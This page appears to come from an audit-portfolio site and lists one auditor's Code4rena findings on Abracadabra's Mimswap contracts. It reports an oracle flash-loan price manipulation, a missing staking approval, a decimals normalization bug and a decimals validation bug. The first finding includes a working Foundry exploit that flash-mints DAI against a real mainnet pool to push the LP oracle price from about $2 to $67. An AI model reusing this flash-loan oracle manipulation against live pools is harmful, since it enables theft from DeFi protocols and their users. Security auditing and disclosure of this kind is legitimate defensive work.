Abracadabra Mimswap - SpicyMeatball's results

General Information

Platform: Code4rena

Start Date: 07/03/2024

Pot Size: $63,000 USDC

Total HM: 20

Participants: 36

Period: 5 days

Judge: cccz

Total Solo HM: 11

Id: 349

League: BLAST

Abracadabra Money

Findings Distribution

Researcher Performance

Rank: 4/36

Findings: 4

Award: $3,838.38

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: SpicyMeatball

Also found by: Breeje

Labels

bug
3 (High Risk)
primary issue
satisfactory
selected for report
sponsor acknowledged
sufficient quality report
:robot:_75_group
H-04

Awards

3103.3157 USDC - $3,103.32

External Links

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/oracles/aggregators/MagicLpAggregator.sol#L42-L45

Vulnerability details

Impact

Oracle price can be manipulated.

Proof of Concept

MagicLpAggregator uses pool reserves to calculate the price of the pair token,

    function _getReserves() internal view virtual returns (uint256, uint256) {
        (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
    }

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

>>      (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

however reserve values can be manipulated. For example, an attacker can use a flash loan to inflate the pair price, see coded POC below

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "utils/BaseTest.sol";
import "oracles/aggregators/MagicLpAggregator.sol";

// import "forge-std/console2.sol";

interface IDodo {
    function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
    function _QUOTE_TOKEN_() external view returns (address);
    function sellBase(address to) external returns (uint256);
    function sellQuote(address to) external returns (uint256);
}

interface IFlashMinter {
    function flashLoan(address, address, uint256, bytes memory) external;
}

contract MagicLpAggregatorExt is MagicLpAggregator {

    constructor(
        IMagicLP pair_,
        IAggregator baseOracle_,
        IAggregator quoteOracle_
    ) MagicLpAggregator(pair_, baseOracle_, quoteOracle_) {}

    function _getReserves() internal view override returns (uint256, uint256) {
        return IDodo(address(pair)).getVaultReserve();
    }

}

contract Borrower {
    IFlashMinter private immutable minter;
    IDodo private immutable dodoPool;
    MagicLpAggregator private immutable oracle;

    constructor(address _minter, address _dodoPool, address _oracle) {
        minter = IFlashMinter(_minter);
        dodoPool = IDodo(_dodoPool);
        oracle = MagicLpAggregator(_oracle); 
    }

    /// Initiate a flash loan
    function flashBorrow(address token, uint256 amount) public {
        IERC20Metadata(token).approve(address(minter), ~uint256(0));
        minter.flashLoan(address(this), token, amount, "");
    }
    /// ERC-3156 Flash loan callback
    function onFlashLoan(
        address initiator,
        address token, // DAI
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        // tamper with the DAI/USDT pool
        IERC20Metadata(token).transfer(address(dodoPool), amount);
        dodoPool.sellBase(address(this));
        IERC20Metadata quote = IERC20Metadata(dodoPool._QUOTE_TOKEN_());
        uint256 quoteAmount = quote.balanceOf(address(this));
        // pair price after tampering
        uint256 response = uint256(oracle.latestAnswer());
        console.log("BAD ANSWER: ", response);
        // Do something evil here

        // swap tokens back and repay the loan
        address(quote).call{value: 0}(abi.encodeWithSignature("transfer(address,uint256)", address(dodoPool), quoteAmount));
        dodoPool.sellQuote(address(this));
        IERC20Metadata(token).transfer(initiator, amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}


contract MagicLpAggregatorTest is BaseTest {
    MagicLpAggregatorExt aggregator;
    address public DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant DAI_MINTER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
    address constant DODO_POOL = 0x3058EF90929cb8180174D74C507176ccA6835D73;

    function setUp() public override {
        fork(ChainId.Mainnet, 19365773);
        _setUp();
    }

    function _setUp() public {
        super.setUp();

        aggregator = new MagicLpAggregatorExt(
            IMagicLP(DODO_POOL),
            IAggregator(0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9),
            IAggregator(0x3E7d1eAB13ad0104d2750B8863b489D65364e32D)
        );
    }

    function testGetResult() public {
        uint256 response = uint256(aggregator.latestAnswer());
        // pair price before ~ $2
        assertEq(response, 2000502847471294054);
        console.log("GOOD ANSWER: ", response);
        // use DAI flash minter to inflate the pair price to $67
        Borrower borrower = new Borrower(DAI_MINTER, DODO_POOL, address(aggregator));
        deal(DAI, address(borrower), 1100 * 1e18);
        IERC20Metadata(DAI).approve(address(borrower), type(uint256).max);
        borrower.flashBorrow(DAI, 100_000_000 ether);
    }
}

In this test, a user increased the price of DAI/USDT pair token from 2 USD to 67 USD using DAI Flash Minter.

Tools Used

Foundry, MagicLpAggregator.t.sol

Consider adding a sanity check, where base and quote token prices are compared with the chainlink price feed

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

+       uint256 midPrice = pair.getMidPrice() * (10 ** (WAD - 6);
+       uint256 feedPrice = baseAnswerNormalized * WAD / quoteAnswerNormalized;
+       uint256 difference = midPrice > feedPrice
+           ? (midPrice - feedPrice) * 10000 / midPrice
+           : (feedPrice - midPrice) * 10000 / feedPrice;
+       // if too big difference - revert
+       if (difference >= MAX_DIFFERENCE) {
+           revert PriceDifferenceExceeded();
+       }

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

Assessed type

Oracle

#0 - c4-pre-sort

2024-03-15T12:41:42Z

141345 marked the issue as primary issue

#1 - 141345

2024-03-15T12:41:56Z

LP Price Manipulation

#2 - c4-pre-sort

2024-03-15T12:41:58Z

141345 marked the issue as sufficient quality report

#3 - 0xmDreamy

2024-03-17T16:53:22Z

Acknowledged.

#4 - c4-sponsor

2024-03-17T17:11:22Z

0xmDreamy (sponsor) acknowledged

#5 - c4-judge

2024-03-29T07:53:43Z

thereksfour marked the issue as satisfactory

#6 - c4-judge

2024-03-31T06:26:53Z

thereksfour marked the issue as selected for report

#7 - trust1995

2024-04-02T14:19:47Z

Well found!

Findings Information

🌟 Selected for report: Trust

Also found by: SpicyMeatball, hals

Labels

bug
2 (Med Risk)
satisfactory
:robot:_58_group
duplicate-226

Awards

429.6899 USDC - $429.69

External Links

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/blast/BlastOnboardingBoot.sol#L137-L144 https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/blast/BlastOnboardingBoot.sol#L122

Vulnerability details

Impact

Switching staking contract after bootstrapping will block claiming of pool shares.

Proof of Concept

setStaking function allows the owner to change staking after bootstrapping process

    function setStaking(LockingMultiRewards _staking) external onlyOwner {
        if (ready) {
            revert ErrCannotChangeOnceReady();
        }

        staking = _staking;
        emit LogStakingChanged(address(_staking));
    }

Unfortunately, it doesn't set approval for pool share tokens currently held in the contract, as we can see the contract mints pool shares during bootstrapping

    function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
        ...
        (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);

        staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
        staking.setOperator(address(this), true);
        staking.transferOwnership(owner);

        // Approve staking contract
>>      pool.safeApprove(address(staking), totalPoolShares);

        emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);

        return (pool, address(staking), totalPoolShares);
    }

and approves them to the staking contract so users may claim and stake them afterwards. However, the new staking contract won't be able to do this because it lacks approval.

Tools Used

Manual review

Approve totalPoolShares amount to the new staking contract in setStaking.

Assessed type

Other

#0 - c4-pre-sort

2024-03-15T13:38:30Z

141345 marked the issue as duplicate of #226

#1 - c4-judge

2024-03-29T16:42:51Z

thereksfour marked the issue as satisfactory

Findings Information

🌟 Selected for report: ether_sky

Also found by: DarkTower, SpicyMeatball, hals

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sponsor disputed
sufficient quality report
:robot:_56_group
duplicate-90

Awards

290.0407 USDC - $290.04

External Links

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/oracles/aggregators/MagicLpAggregator.sol#L43-L45 https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L164

Vulnerability details

Impact

Incorrect price calculation for pairs in which base token decimal count is not 18.

Proof of Concept

Here is how the MagicLpAggregator calculates the pair price.

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
>>      baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
>>      quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

Note how base and quote reserve amounts are converted into 18 decimals format, but later "raw" totalSupply value is used as a divisor. Pool token decimal count is equal to the base token decimals, https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L164

    function decimals() public view override returns (uint8) {
        return IERC20Metadata(_BASE_TOKEN_).decimals();
    }

pool token decimals other than 18 will lead to incorrect price calculations. For example, 10^18 amounts are divided by 10^6 total supply in case of USDC/USDT pair.

Tools Used

Manual review

Normalize totalSupply value

totalSupply = pair.totalSupply() * (10 ** (WAD - baseDecimals)

Assessed type

Oracle

#0 - 0xm3rlin

2024-03-15T01:01:53Z

duplicate #191

#1 - c4-pre-sort

2024-03-15T13:01:02Z

141345 marked the issue as primary issue

#2 - c4-pre-sort

2024-03-15T13:01:10Z

141345 marked the issue as sufficient quality report

#3 - c4-sponsor

2024-03-28T17:07:41Z

0xCalibur (sponsor) disputed

#4 - c4-judge

2024-03-29T07:59:59Z

thereksfour marked the issue as satisfactory

#5 - c4-judge

2024-03-29T15:22:16Z

thereksfour marked the issue as duplicate of #90

#6 - c4-judge

2024-03-29T17:04:50Z

thereksfour changed the severity to 2 (Med Risk)

Awards

15.328 USDC - $15.33

Labels

bug
downgraded by judge
grade-b
QA (Quality Assurance)
satisfactory
sponsor disputed
sufficient quality report
:robot:_63_group
duplicate-25
Q-19

External Links

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/periphery/Router.sol#L602

Vulnerability details

Impact

The router can't create a pool where the quote token has fewer decimals than the base token.

Proof of Concept

When the pool is created, the router validates token decimals.

    function createPool(
        address baseToken,
        address quoteToken,
        uint256 lpFeeRate,
        uint256 i,
        uint256 k,
        address to,
        uint256 baseInAmount,
        uint256 quoteInAmount
    ) external returns (address clone, uint256 shares) {
>>      _validateDecimals(IERC20Metadata(baseToken).decimals(), IERC20Metadata(quoteToken).decimals());

        clone = IFactory(factory).create(baseToken, quoteToken, lpFeeRate, i, k);

        baseToken.safeTransferFrom(msg.sender, clone, baseInAmount);
        quoteToken.safeTransferFrom(msg.sender, clone, quoteInAmount);
        (shares, , ) = IMagicLP(clone).buyShares(to);
    }

It's a sanity check that ensures decimals are not zero, and their difference is lower than 12

    function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
        if (baseDecimals == 0 || quoteDecimals == 0) {
            revert ErrZeroDecimals();
        }
>>      if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
            revert ErrDecimalsDifferenceTooLarge();
        }
    }

Unfortunately, it's implementation does not allow for the creation of pools in which the quote token decimals are lower than the base one, including the ubiquitous WETH/USDC pair (USDC has 6 decimals and WETH has 18).

Tools Used

Manual review

Refactor _validateDecimals

    function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
        if (baseDecimals == 0 || quoteDecimals == 0) {
            revert ErrZeroDecimals();
        }
+       uint8 diff = quoteDecimals > baseDecimals ? quoteDecimals - baseDecimals : baseDecimals - quoteDecimals;
+       if (diff > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
            revert ErrDecimalsDifferenceTooLarge();
        }
    }

Assessed type

Error

#0 - c4-pre-sort

2024-03-15T13:43:48Z

141345 marked the issue as primary issue

#1 - c4-pre-sort

2024-03-15T13:43:53Z

141345 marked the issue as sufficient quality report

#2 - 141345

2024-03-15T13:44:08Z

decimal quote < base

#3 - 0xCalibur

2024-03-15T21:07:42Z

valid but it's a duplicate of an existing one I already fixed

#4 - c4-sponsor

2024-03-28T17:07:25Z

0xCalibur (sponsor) disputed

#5 - c4-judge

2024-03-29T15:56:04Z

thereksfour marked the issue as satisfactory

#6 - c4-judge

2024-03-29T16:03:01Z

thereksfour marked the issue as duplicate of #25

#7 - c4-judge

2024-04-05T14:56:00Z

thereksfour changed the severity to QA (Quality Assurance)

#8 - c4-judge

2024-04-05T17:32:10Z

thereksfour marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter